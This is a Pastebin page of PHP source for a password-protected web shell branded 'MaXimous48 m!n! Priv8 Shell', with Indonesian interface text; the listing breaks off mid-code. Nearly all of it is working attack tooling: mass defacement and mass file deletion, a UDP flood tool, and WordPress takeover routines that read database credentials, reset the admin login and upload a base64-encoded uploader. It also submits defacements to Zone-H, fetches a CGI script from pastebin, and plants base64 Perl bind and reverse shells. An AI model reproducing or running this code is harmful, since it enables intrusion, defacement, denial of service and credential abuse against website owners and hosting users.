API tools faq
paste
Maximous48

maximous48 m!n! Priv8 shell

Maximous48
Jul 26th, 2018
168
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 47.59 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. @session_start();
  3. @set_time_limit(0);
  4.  
  5.  
  6. @$pass = $_POST['pass'];
  7. $chk_login = true;
  8. $username = "MaXimous48";
  9. $password = "maximous48";
  10.  
  11.  
  12. if($pass == $password)
  13. {
  14.  $_SESSION['nst'] = "$pass";
  15. }
  16.  
  17. if($chk_login == true)
  18. {
  19.  if(!isset($_SESSION['nst']) or $_SESSION['nst'] != $password)
  20.  {
  21.  die("
  22. <title>MaXimous48 m!n! Priv8 Shell</title>
  23. <center><font face= audiowide size=8><font color=red>[!] <font color=lavender>MaXimous48 m!n! Priv Shell <font color=red>[!]<br><br>
  24.  <center><body bgcolor=black><center><br>
  25.  <table border=0 cellpadding=0 cellspacing=0 width=100% height=100%><br><br>
  26.  <table width=100 bgcolor=black border=6 bordercolor=blue><tr><td>
  27.  <font size=1 face=lobster><center>
  28.  <b></font></a></b>
  29.  </center>
  30.  <form method=post>
  31.  <font size=1 color=lime><strong><br><center>.::[ ./MaXimous48 m!n! Priv8 Shell ]::.
  32. </center></strong><br><br><br>
  33.  <input type=password name=pass size=30>
  34.  </form><br><br>
  35.  <b><font color=lime>IP Lu Cok! : </b> ".$_SERVER["REMOTE_ADDR"]."
  36. <br>
  37.  </td></tr></table>
  38.  </td></tr></table><br><font color=white style='text-shadow: 0 0 20px red, 0 0 5px red, 0 0 7px red, 0 0 4px red; font-weight:bold: red;font-size:20px'><br><i>./Maximous48 &copy; 2018</font>
  39.  ");
  40.  }
  41. }
  42.  
  43.  
  44. set_time_limit(0);
  45. error_reporting(0);
  46.  
  47. if(get_magic_quotes_gpc()){
  48. foreach($_POST as $key=>$value){
  49. $_POST[$key] = stripslashes($value);
  50. }
  51. }
  52. echo '<!DOCTYPE HTML>
  53. <HTML>
  54. <HEAD>
  55.     <link href="https://fonts.googleapis.com/css?family=Audiowide|Space+Mono" rel="stylesheet">
  56. <link href="https://fonts.googleapis.com/css?family=Jolly+Lodger" rel="stylesheet" type="text/css">
  57. <title>MaXimous48 M!n! Priv8 Shell</title>
  58. <style>
  59. body{
  60. font-family: "Rye", jolly lodger;
  61. background-image: url("");
  62. color:black;    background-attachment:fixed;    background-repeat:no-repeat;    background-position:center;     background-color:transparan;    -webkit-background-size: 90% 100%; } #content tr:hover{
  63. text-shadow:0px 0px 1px #000000;
  64. }
  65. #content tr:hover{
  66. background-color: red;
  67. text-shadow:0px 0px 10px blue;
  68. }
  69. #content .first{
  70. background-color: red;
  71. }
  72. #content .first:hover{
  73. background-color: red;
  74. text-shadow:0px 0px 1px #FF4C00;
  75. }
  76. table{
  77. border: 6px #ffffff dotted;
  78. }
  79. H1{
  80. font-family: "Rancho", jolly lodger;
  81. }
  82. a{
  83. color: #ffffff;
  84. text-decoration: none;
  85. }
  86. a:hover{
  87. color: #fff;
  88. text-shadow:0px 0px 10px #ffffff;
  89. }
  90. input,select,textarea{
  91. border: 2px #65FF00 solid;
  92. -moz-border-radius: 5px;
  93. -webkit-border-radius:5px;
  94. border-radius:5px;
  95. }
  96. </style>
  97. </HEAD>
  98. <BODY>
  99. <center><br><font size=20><font color=red><center>.::[ <font color=red>./MaXimous48 m!n! </font><font color=white>Priv8 Shell</font><font color=red>]::.</font></center></H1></font></font><br>
  100. <body class="  pace-done" bgcolor="black"><div class="pace  pace-inactive"><div class="pace-progress" data-progress-text="100%" data-progress="99" style="width: 100%;">
  101. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  102. <tr><td><font color=lime><i>
  103. Current Path : ';
  104. if(isset($_GET['path'])){
  105. $path = $_GET['path'];
  106. }else{
  107. $path = getcwd();
  108. }
  109. $path = str_replace('\\','/',$path);
  110. $paths = explode('/',$path);
  111.  
  112. foreach($paths as $id=>$pat){
  113. if($pat == '' && $id == 0){
  114. $a = true;
  115. echo '<a href="?path=/">/</a>';
  116. continue;
  117. }
  118. if($pat == '') continue;
  119. echo '<a href="?path=';
  120. for($i=0;$i<=$id;$i++){
  121. echo "$paths[$i]";
  122. if($i != $id) echo "/";
  123. }
  124. echo '">'.$pat.'</a>/';
  125. }
  126. echo '</td></tr><tr><td>';
  127. if (isset($_GET['ximousMassDeface'])) {
  128. echo "<center><form method='POST'><br>Dir : <input type='text' name='base_dir' size='50' value='".getcwd ()."'><br><br>File Name : <input type='text' name='file_name' value='jangan.php'><br><br><br>Your Script : <br><textarea style='width: 300px; height: 100px;' name='index'>cukup script aja yang php , kamunya jangan :p</textarea><br><input type='submit' value='Submit'></form></center><br><br>";
  129. }
  130. if (isset ($_POST['base_dir']))
  131. {
  132.         if (!file_exists ($_POST['base_dir']))
  133.                 die ($_POST['base_dir']." Gak Ketemu Cok !<br>");
  134.  
  135.         if (!is_dir ($_POST['base_dir']))
  136.                 die ($_POST['base_dir']." Is Not A Directory cok !<br>");
  137.  
  138.         @chdir ($_POST['base_dir']) or die ("Gabisa dibuka Directorynya Cok!");
  139.  
  140.         $files = @scandir ($_POST['base_dir']) or die ("oohhh shit<br>");
  141.  
  142.         foreach ($files as $file):
  143.                 if ($file != "." && $file != ".." && @filetype ($file) == "dir")
  144.                 {
  145.                         $index = getcwd ()."/".$file."/".$_POST['file_name'];
  146.                         if (file_put_contents ($index, $_POST['index']))
  147.                                 echo "$index&nbsp&nbsp&nbsp&nbsp<span style='color: lime'>Berhasil Ea cok!</span><br>";
  148.                 }
  149.         endforeach;
  150. }if (isset($_GET['bacok'])) {
  151.     if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
  152.             die('<center><br><center><h2>Shell Telah Dibacok</h2><br>Terimakasih Atas Perjuanganmu Cok</center></center>');
  153.         else
  154.             echo '<center>Gagal Cok!</center>';
  155. }
  156.             elseif($_GET['do'] == 'crazyxerror') {
  157.     echo '<center>./MaXimous48 m!n! Priv8 Shell<hr>coded &copy;<font color=aqua>./MaXimous48 <hr><br> <hr>';
  158. } elseif($_GET['do'] == 'MaXimous48') {
  159.     function hapus_massal($dir,$namafile) {
  160.         if(is_writable($dir)) {
  161.             $dira = scandir($dir);
  162.             foreach($dira as $dirb) {
  163.                 $dirc = "$dir/$dirb";
  164.                 $lokasi = $dirc.'/'.$namafile;
  165.                 if($dirb === '.') {
  166.                     if(file_exists("$dir/$namafile")) {
  167.                         unlink("$dir/$namafile");
  168.                     }
  169.                 } elseif($dirb === '..') {
  170.                     if(file_exists("".dirname($dir)."/$namafile")) {
  171.                         unlink("".dirname($dir)."/$namafile");
  172.                     }
  173.                 } else {
  174.                     if(is_dir($dirc)) {
  175.                         if(is_writable($dirc)) {
  176.                             if(file_exists($lokasi)) {
  177.                                 echo "[<font color=lime>Terdelete Cok!</font>] $lokasi<br>";
  178.                                 unlink($lokasi);
  179.                                 $idx = hapus_massal($dirc,$namafile);
  180.                             }
  181.                         }
  182.                     }
  183.                 }
  184.             }
  185.         }
  186.     }
  187.     if($_POST['start']) {
  188.         echo "<div style='margin: 5px auto; padding: 5px'>";
  189.         hapus_massal($_POST['d_dir'], $_POST['d_file']);
  190.         echo "</div>";
  191.     } else {
  192.     echo "<center>";
  193.     echo "<form method='post'>
  194.     <font style='text-decoration: underline;'>Folder:</font><br>
  195.     <input type='text' name='d_dir' value='$path' style='width: 450px;' height='10'><br>
  196.     <font style='text-decoration: underline;'>Filename:</font><br>
  197.     <input type='text' name='d_file' value='index.php' style='width: 450px;' height='10'><br>
  198.     <input type='submit' name='start' value='Mass Delete' style='width: 450px;'>
  199.     </form></center>";
  200.     }
  201.     } elseif($_GET['do'] == 'ddos') {
  202. ?>
  203. <html>
  204. <form action=" " method="post">
  205. <center><br><br><br>
  206. Your IP: <font color="Lavender"><b><?php echo $my_ip; ?></b></font>?(Jangan DDOS sendirian N00b :p)<br><br>
  207. <table class="tabnet" style="width:333px;padding:0 1px;">
  208. <th colspan="5">Ddos Tool</th>
  209. <tr><tr><td>IP Target</td><td>:</td>
  210. <td><input type="text" class="inputz" name="ip" size="48" maxlength="25"  value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';"/>
  211. </td></tr>
  212. <tr><td>Time</td><td>:</td>
  213. <td><input type="text" class="inputz" name="time" size="48" maxlength="25"  value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';"/>
  214. </td></tr>
  215.  
  216. <tr><td>Port</td><td>:</td>
  217. <td><input type="text" class="inputz" name="port" size="48" maxlength="5"  value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';"/>
  218. </td></tr></tr></table></b><br>
  219. <input type="submit" class="inputzbut" name="fire" value="  Firee !!!   ">
  220. <br><br>
  221. <center>
  222. <font color="Lavender">Seteleh selesai menggunakan tools ini segera refresh browsing lu Cok!
  223. </center>
  224. </form>
  225. </center>
  226. <?php
  227.     @$submit = $_POST['fire'];
  228.     if (isset($submit)) {
  229.         $packets = 0;
  230.         $ip = $_POST['ip'];
  231.         $rand = $_POST['port'];
  232.         set_time_limit(0);
  233.         ignore_user_abort(FALSE);
  234.         $exec_time = $_POST['time'];
  235.         $time = time();
  236.         print "Flooded: $ip on port $rand <br><br>";
  237.         $max_time = $time + $exec_time;
  238.         for ($i = 0;$i < 65535;$i++) {
  239.             $out.= "X";
  240.         }
  241.         while (1) {
  242.             $packets++;
  243.             if (time() > $max_time) {
  244.                 break;
  245.             }
  246.             $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
  247.             if ($fp) {
  248.                 fwrite($fp, $out);
  249.                 fclose($fp);
  250.             }
  251.         }
  252.         echo "Packet complete at " . time('h:i:s') . " with $packets (" . round(($packets * 65) / 1024, 2) . " mB) packets averaging " . round($packets / $exec_time, 2) . " packets/s
  253. ";
  254. }
  255.     } elseif($_GET['do'] == 'auto_dwp') {
  256.     if($_POST['auto_deface_wp']) {
  257.         function anucurl($sites) {
  258.             $ch = curl_init($sites);
  259.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  260.                   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  261.                   curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  262.                   curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  263.                   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  264.                   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  265.                   curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  266.                   curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  267.                   curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  268.             $data = curl_exec($ch);
  269.                   curl_close($ch);
  270.             return $data;
  271.         }
  272.         function lohgin($cek, $web, $userr, $pass, $wp_submit) {
  273.             $post = array(
  274.                    "log" => "$userr",
  275.                    "pwd" => "$pass",
  276.                    "rememberme" => "forever",
  277.                    "wp-submit" => "$wp_submit",
  278.                    "redirect_to" => "$web",
  279.                    "testcookie" => "1",
  280.                    );
  281.             $ch = curl_init($cek);
  282.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  283.                   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  284.                   curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  285.                   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  286.                   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  287.                   curl_setopt($ch, CURLOPT_POST, 1);
  288.                   curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  289.                   curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  290.                   curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  291.                   curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  292.             $data = curl_exec($ch);
  293.                   curl_close($ch);
  294.             return $data;
  295.         }
  296.         $scan = $_POST['link_config'];
  297.         $link_config = scandir($scan);
  298.         $script = htmlspecialchars($_POST['script']);
  299.         $user = "indoxploit";
  300.         $pass = "indoxploit";
  301.         $passx = md5($pass);
  302.         foreach($link_config as $dir_config) {
  303.             if(!is_file("$scan/$dir_config")) continue;
  304.             $config = file_get_contents("$scan/$dir_config");
  305.             if(preg_match("/WordPress/", $config)) {
  306.                 $dbhost = ambilkata($config,"DB_HOST', '","'");
  307.                 $dbuser = ambilkata($config,"DB_USER', '","'");
  308.                 $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  309.                 $dbname = ambilkata($config,"DB_NAME', '","'");
  310.                 $dbprefix = ambilkata($config,"table_prefix  = '","'");
  311.                 $prefix = $dbprefix."users";
  312.                 $option = $dbprefix."options";
  313.                 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  314.                 $db = mysql_select_db($dbname);
  315.                 $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  316.                 $result = mysql_fetch_array($q);
  317.                 $id = $result[ID];
  318.                 $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  319.                 $result2 = mysql_fetch_array($q2);
  320.                 $target = $result2[option_value];
  321.                 if($target == '') {                
  322.                     echo "[-] <font color=red>error, gabisa ambil nama domain jablaynya cok !</font><br>";
  323.                 } else {
  324.                     echo "[+] $target <br>";
  325.                 }
  326.                 $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
  327.                 if(!$conn OR !$db OR !$update) {
  328.                     echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
  329.                     mysql_close($conn);
  330.                 } else {
  331.                     $site = "$target/wp-login.php";
  332.                     $site2 = "$target/wp-admin/theme-install.php?upload";
  333.                     $b1 = anucurl($site2);
  334.                     $wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"","\" />");
  335.                     $b = lohgin($site, $site2, $user, $pass, $wp_sub);
  336.                     $anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
  337.                     $upload3 = base64_decode("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/Pg==");
  338.                     $www = "m.php";
  339.                     $fp5 = fopen($www,"w");
  340.                     fputs($fp5,$upload3);
  341.                     $post2 = array(
  342.                             "_wpnonce" => "$anu2",
  343.                             "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
  344.                             "themezip" => "@$www",
  345.                             "install-theme-submit" => "Install Now",
  346.                             );
  347.                     $ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
  348.                           curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  349.                           curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  350.                           curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  351.                           curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  352.                           curl_setopt($ch, CURLOPT_POST, 1);
  353.                           curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
  354.                           curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  355.                           curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  356.                           curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  357.                     $data3 = curl_exec($ch);
  358.                           curl_close($ch);
  359.                     $y = date("Y");
  360.                     $m = date("m");
  361.                     $namafile = "id.php";
  362.                     $fpi = fopen($namafile,"w");
  363.                     fputs($fpi,$script);
  364.                     $ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
  365.                            curl_setopt($ch6, CURLOPT_POST, true);
  366.                            curl_setopt($ch6, CURLOPT_POSTFIELDS, array('file3'=>"@$namafile"));
  367.                            curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
  368.                            curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
  369.                            curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
  370.                            curl_setopt($ch6, CURLOPT_COOKIESESSION, true);
  371.                     $postResult = curl_exec($ch6);
  372.                            curl_close($ch6);
  373.                     $as = "$target/k.php";
  374.                     $bs = anucurl($as);
  375.                     if(preg_match("#$script#is", $bs)) {
  376.                         echo "[+] <font color='lime'>berhasil Cok !...</font><br>";
  377.                         echo "[+] <a href='$as' target='_blank'>$as</a><br><br>";
  378.                         } else {
  379.                         echo "[-] <font color='red'>gagal Cok !...</font><br>";
  380.                         echo "[!!] coba aja manual: <br>";
  381.                         echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
  382.                         echo "[+] username: <font color=lime>$user</font><br>";
  383.                         echo "[+] password: <font color=lime>$pass</font><br><br>";    
  384.                         }
  385.                     mysql_close($conn);
  386.                 }
  387.             }
  388.         }
  389.     } else {
  390.         echo "<center>WordPress Auto Deface
  391.         <form method='post'>
  392.         <input type='text' name='link_config' size='50' height='10' value='$path'><br>
  393.         <input type='text' name='script' height='10' size='50' placeholder='Pwned By ./MaXimous48' required><br>
  394.         <input type='submit' style='width: 450px;' name='auto_deface_wp' value='submit!!!'>
  395.         </form>
  396.         <br>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span>
  397.         </center><br>";
  398.     }
  399.     } elseif($_GET['do'] == 'auto_wp') {
  400.     if($_POST['hajar']) {
  401.         $title = htmlspecialchars($_POST['new_title']);
  402.         $pn_title = str_replace(" ", "-", $title);
  403.         if($_POST['cek_edit'] == "Y") {
  404.             $script = $_POST['edit_content'];
  405.         } else {
  406.             $script = $title;
  407.         }
  408.         $conf = $_POST['config_dir'];
  409.         $scan_conf = scandir($conf);
  410.         foreach($scan_conf as $file_conf) {
  411.             if(!is_file("$conf/$file_conf")) continue;
  412.             $config = file_get_contents("$conf/$file_conf");
  413.             if(preg_match("/WordPress/", $config)) {
  414.                 $dbhost = ambilkata($config,"DB_HOST', '","'");
  415.                 $dbuser = ambilkata($config,"DB_USER', '","'");
  416.                 $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  417.                 $dbname = ambilkata($config,"DB_NAME', '","'");
  418.                 $dbprefix = ambilkata($config,"table_prefix  = '","'");
  419.                 $prefix = $dbprefix."posts";
  420.                 $option = $dbprefix."options";
  421.                 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  422.                 $db = mysql_select_db($dbname);
  423.                 $q = mysql_query("SELECT * FROM $prefix ORDER BY ID ASC");
  424.                 $result = mysql_fetch_array($q);
  425.                 $id = $result[ID];
  426.                 $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  427.                 $result2 = mysql_fetch_array($q2);
  428.                 $target = $result2[option_value];
  429.                 $update = mysql_query("UPDATE $prefix SET post_title='$title',post_content='$script',post_name='$pn_title',post_status='publish',comment_status='open',ping_status='open',post_type='post',comment_count='1' WHERE id='$id'");
  430.                 $update .= mysql_query("UPDATE $option SET option_value='$title' WHERE option_name='blogname' OR option_name='blogdescription'");
  431.                 echo "<div style='margin: 5px auto;'>";
  432.                 if($target == '') {
  433.                     echo "URL: <font color=red>error, gabisa ambil nama domain jablay nya</font> -> ";
  434.                 } else {
  435.                     echo "URL: <a href='$target/?p=$id' target='_blank'>$target/?p=$id</a> -> ";
  436.                 }
  437.                 if(!$update OR !$conn OR !$db) {
  438.                     echo "<font color=red>MySQL Error: ".mysql_error()."</font><br>";
  439.                 } else {
  440.                     echo "<font color=lime>sukses di ganti cok.</font><br>";
  441.                 }
  442.                 echo "</div>";
  443.                 mysql_close($conn);
  444.             }
  445.         }
  446.     } else {
  447. echo "<center>
  448.         <h1>Auto Edit Title+Content WordPress</h1>
  449.         <form method='post'>
  450.         DIR Config: <br>
  451.         <input type='text' size='50' name='config_dir' value='$path'><br><br>
  452.         Set Title: <br>
  453.         <input type='text' name='new_title' value='Hacked by ./MaXimous48' placeholder='New Title'><br><br>
  454.         Edit Content?: <input type='radio' name='cek_edit' value='Y' checked>Y<input type='radio' name='cek_edit' value='N'>N<br>
  455.         <span>Jika pilih <u>Y</u> masukin script defacemu ( saran yang simple aja ), kalo pilih <u>N</u> gausah di isi.</span><br>
  456.         <textarea name='edit_content' placeholder='contoh script: http://pastebin.com/EpP671gK' style='width: 450px; height: 150px;'></textarea><br>
  457.         <input type='submit' name='hajar' value='Submit!!!' style='width: 450px;'><br>
  458.         </form>
  459.         <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
  460.         ";
  461.     }
  462.     } elseif($_GET['do'] == 'zoneh') {
  463.     if($_POST['submit']) {
  464.         $domain = explode("\r\n", $_POST['url']);
  465.         $nick =  $_POST['nick'];
  466.         echo "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
  467.         echo "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
  468.         function zoneh($url,$nick) {
  469.             $ch = curl_init("http://www.zone-h.com/notify/single");
  470.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  471.                   curl_setopt($ch, CURLOPT_POST, true);
  472.                   curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
  473.             return curl_exec($ch);
  474.                   curl_close($ch);
  475.         }
  476.         foreach($domain as $url) {
  477.             $zoneh = zoneh($url,$nick);
  478.             if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
  479.                 echo "$url -> <font color=lime>OK</font><br>";
  480.             } else {
  481.                 echo "$url -> <font color=red>ERROR</font><br>";
  482.             }
  483.         }
  484.     } else {
  485.         echo "<center><form method='post'>
  486.         <u>Defacer</u>: <br>
  487.         <input type='text' name='nick' size='50' value='./MaXimous48'><br>
  488.         <u>Domains</u>: <br>
  489.         <textarea style='width: 450px; height: 150px;' name='url'></textarea><br>
  490.         <input type='submit' name='submit' value='Submit' style='width: 450px;'>
  491.         </form>";
  492.     }
  493.     echo "</center>";
  494. } elseif($_GET['do'] == 'cgi') {
  495.     $cgi_dir = mkdir('idx_cgi', 0755);
  496.     $file_cgi = "idx_cgi/cgi.izo";
  497.     $isi_htcgi = "AddHandler cgi-script .izo";
  498.     $htcgi = fopen(".htaccess", "w");
  499.     $cgi_script = file_get_contents("http://pastebin.com/raw.php?i=XTUFfJLg");
  500.     $cgi = fopen($file_cgi, "w");
  501.     fwrite($cgi, $cgi_script);
  502.     fwrite($htcgi, $isi_htcgi);
  503.     chmod($file_cgi, 0755);
  504.     echo "<iframe src='idx_cgi/cgi.izo' width='100%' height='100%' frameborder='0' scrolling='no'></iframe>";
  505.     } elseif($_GET['do'] == 'fake_root') {
  506.     ob_start();
  507.     $cwd = getcwd();
  508.     $ambil_user = explode("/", $cwd);
  509.     $user = $ambil_user[2];
  510.     if($_POST['reverse']) {
  511.         $site = explode("\r\n", $_POST['url']);
  512.         $file = $_POST['file'];
  513.         foreach($site as $url) {
  514.             $cek = getsource("$url/~$user/$file");
  515.             if(preg_match("/hacked/i", $cek)) {
  516.                 echo "URL: <a href='$url/~$user/$file' target='_blank'>$url/~$user/$file</a> -> <font color=lime>Fake Root!</font><br>";
  517.             }
  518.         }
  519.     } else {
  520.         echo "<center><form method='post'>
  521.         Filename: <br><input type='text' name='file' value='deface.html' size='50' height='10'><br>
  522.         User: <br><input type='text' value='$user' size='50' height='10' readonly><br>
  523.         Domain: <br>
  524.         <textarea style='width: 450px; height: 250px;' name='url'>";
  525.         echo "</textarea><br>
  526.         <input type='submit' name='reverse' value='Scan Fake Root!' style='width: 450px;'>
  527.         </form><br>
  528.         NB: Sebelum gunain Tools ini , upload dulu file deface kalian di dir /home/user/ dan /home/user/public_html.</center>";
  529.     }
  530.     } elseif($_GET['do'] == 'network') {
  531.     echo "<form method='post'>
  532.     <u>Bind Port:</u> <br>
  533.     PORT: <input type='text' placeholder='port' name='port_bind' value='6969'>
  534.     <input type='submit' name='sub_bp' value='>>'>
  535.     </form>
  536.     <form method='post'>
  537.     <u>Back Connect:</u> <br>
  538.     Server: <input type='text' placeholder='ip' name='ip_bc' value='".$_SERVER['REMOTE_ADDR']."'>&nbsp;&nbsp;
  539.     PORT: <input type='text' placeholder='port' name='port_bc' value='6969'>
  540.     <input type='submit' name='sub_bc' value='>>'>
  541.     </form>";
  542. $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  543.     if(isset($_POST['sub_bp'])) {
  544.         $f_bp = fopen("/tmp/bp.pl", "w");
  545.         fwrite($f_bp, base64_decode($bind_port_p));
  546.         fclose($f_bp);
  547.  
  548.         $port = $_POST['port_bind'];
  549.         $out = exe("perl /tmp/bp.pl $port 1>/dev/null 2>&1 &");
  550.         sleep(1);
  551.         echo "<pre>".$out."\n".exe("ps aux | grep bp.pl")."</pre>";
  552.         unlink("/tmp/bp.pl");
  553.     }
  554.     $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  555.     if(isset($_POST['sub_bc'])) {
  556.         $f_bc = fopen("/tmp/bc.pl", "w");
  557.         fwrite($f_bc, base64_decode($bind_connect_p));
  558.         fclose($f_bc);
  559.  
  560.         $ipbc = $_POST['ip_bc'];
  561.         $port = $_POST['port_bc'];
  562.         $out = exe("perl /tmp/bc.pl $ipbc $port 1>/dev/null 2>&1 &");
  563.         sleep(1);
  564.         echo "<pre>".$out."\n".exe("ps aux | grep bc.pl")."</pre>";
  565.         unlink("/tmp/bc.pl");
  566.     }
  567. } elseif($_GET['do'] == 'adminer') {
  568.     $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  569.     function adminer($url, $isi) {
  570.         $fp = fopen($isi, "w");
  571.         $ch = curl_init();
  572.               curl_setopt($ch, CURLOPT_URL, $url);
  573.               curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
  574.               curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  575.               curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  576.               curl_setopt($ch, CURLOPT_FILE, $fp);
  577.         return curl_exec($ch);
  578.               curl_close($ch);
  579.         fclose($fp);
  580.         ob_flush();
  581.         flush();
  582.     }
  583.     if(file_exists('adminer.php')) {
